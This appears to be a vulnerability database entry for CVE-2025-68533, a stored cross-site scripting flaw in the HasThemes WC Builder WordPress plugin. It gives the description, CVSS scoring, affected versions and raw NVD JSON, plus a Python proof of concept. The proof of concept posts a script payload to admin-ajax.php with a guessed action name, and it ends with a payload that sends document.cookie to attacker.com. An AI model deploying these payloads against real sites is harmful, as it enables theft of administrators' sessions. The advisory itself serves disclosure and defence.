Security Vulnerability Report
中文
CVE-2025-68533 CVSS 6.5 MEDIUM

CVE-2025-68533

Published: 2025-12-24 13:16:23
Last Modified: 2026-04-27 19:16:29

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in HasThemes WC Builder wc-builder allows Stored XSS.This issue affects WC Builder: from n/a through <= 1.2.0.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:hasthemes:wc_builder:*:*:*:*:*:wordpress:*:* - VULNERABLE
HasThemes WC Builder <= 1.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-68533 PoC - Stored XSS in HasThemes WC Builder # Target: WordPress site with WC Builder plugin <= 1.2.0 target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" # Payload: Basic XSS test xss_payload = '<script>alert("XSS")</script>' # Login to WordPress (low privilege account) session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { 'log': 'attacker_username', 'pwd': 'attacker_password', 'wp-submit': 'Log In' } response = session.post(login_url, data=login_data) # Inject XSS payload via WC Builder admin interface or AJAX endpoint # The exact endpoint depends on WC Builder's functionality # Common WordPress AJAX endpoint pattern: ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # XSS injection via plugin's page builder functionality inject_data = { 'action': 'wc_builder_save_element', # Example action 'element_id': '1', 'content': xss_payload, # XSS payload injected here 'nonce': 'your_nonce_here' } response = session.post(ajax_url, data=inject_data) print("[+] XSS payload sent") print("[+] Payload:", xss_payload) print("[+] When admin visits the page, the XSS will execute") # XHR/fetch payload for cookie stealing steal_cookie_payload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>'

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68533", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:22.727", "lastModified": "2026-04-27T19:16:28.780", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in HasThemes WC Builder wc-builder allows Stored XSS.This issue affects WC Builder: from n/a through <= 1.2.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hasthemes:wc_builder:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "1.2.1", "matchCriteriaId": "8555924F-D471-4DA7-B66C-57A3084B2BA3"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wc-builder/vulnerability/wordpress-wc-builder-plugin-1-2-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}